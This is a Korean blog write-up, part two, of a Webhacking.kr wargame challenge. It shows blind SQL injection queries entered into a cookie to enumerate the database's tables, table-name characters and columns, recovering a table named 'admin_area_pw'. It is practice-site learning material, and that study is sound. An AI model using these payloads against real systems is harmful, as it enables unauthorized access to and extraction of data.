Challenge(old) -2 2번째 포스팅입니다 !~
바로 전 포스팅에는 DB의 정보를 얻기 전 단계까지 포스팅하였는데요.
1. 테이블 갯수 찾기
select count(table_name) from information_schema.tables where table_schema=database()
구문을 사용하여 DB의 테이블 갯수를 찾아보겠습니다. 첫 번째 파트와 똑같이 크롬 브라우저의 개발자 도구를 사용하여 Cookie 값에 상기 구문을 입력하여 주석 처리된 시간의 '초 단위' 부분의 값을 확인 할 것입니다.


테이블의 개수는 2개로 확인이 되네요.
2. 테이블명의 글자수(이름의 길이)
select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1
첫 번째 테이블명의 글자수를 출력하는 쿼리문을 이용해보겠습니다.


OMG...13글자네요...............
3. 첫 번째 테이블의 테이블 명 구하기
select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1
첫 번째 테이블명의 길이는 13개 인것을 확인하였기 때문에 테이블명의 첫 글자부터 찾아보겠습니다 !!
주석 처리된 시간에 표시되는 숫자로만 확인 할 수 있기에 ascii 쿼리문을 사용하였습니다.

01:37로 값이 변경되었네요 1분 37초는 97초이니 ascii코드의 97 값인 ' a ' 인걸 알 수 있습니다.
13글자이므로 substring 함수를 사용하여 테이블명을 알아보겠습니다.
select ascii(substring(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 0,1

01:40 -> 100초 -> ascii 10진수의 100 = ' d '
첫 번째 테이블명은 ad로 시작하여 13글자인 것 같습니다.
Table name = admin_area_pw
4. 첫 번째 테이블의 컬럼 개수 구하기
select count(column_name) from information_schema.columns where table_name="admin_area_pw"


첫 번째 테이블의 컬럼은 1개입니다.
5. 첫 번째 테이블의 컬럼명의 길이 구하기구하기
select length(column_name) from information_schema.columns where table_name="admin_area_pw"
.........정상적인 쿼리문인데 왜 값이 출력이 안될까요....이번 포스팅은 여기까지
'4. Web Hacking > 1. Webhacking.kr' 카테고리의 다른 글
Challenge(old) - 05 (0) | 2022.02.04 |
---|---|
Challenge(old) - 03 (0) | 2022.02.04 |
Challenge(old) - 02 Part.3 (0) | 2022.02.04 |
Challenge(old) - 02 (0) | 2022.02.04 |
Challenge(old) - 01 (0) | 2022.02.04 |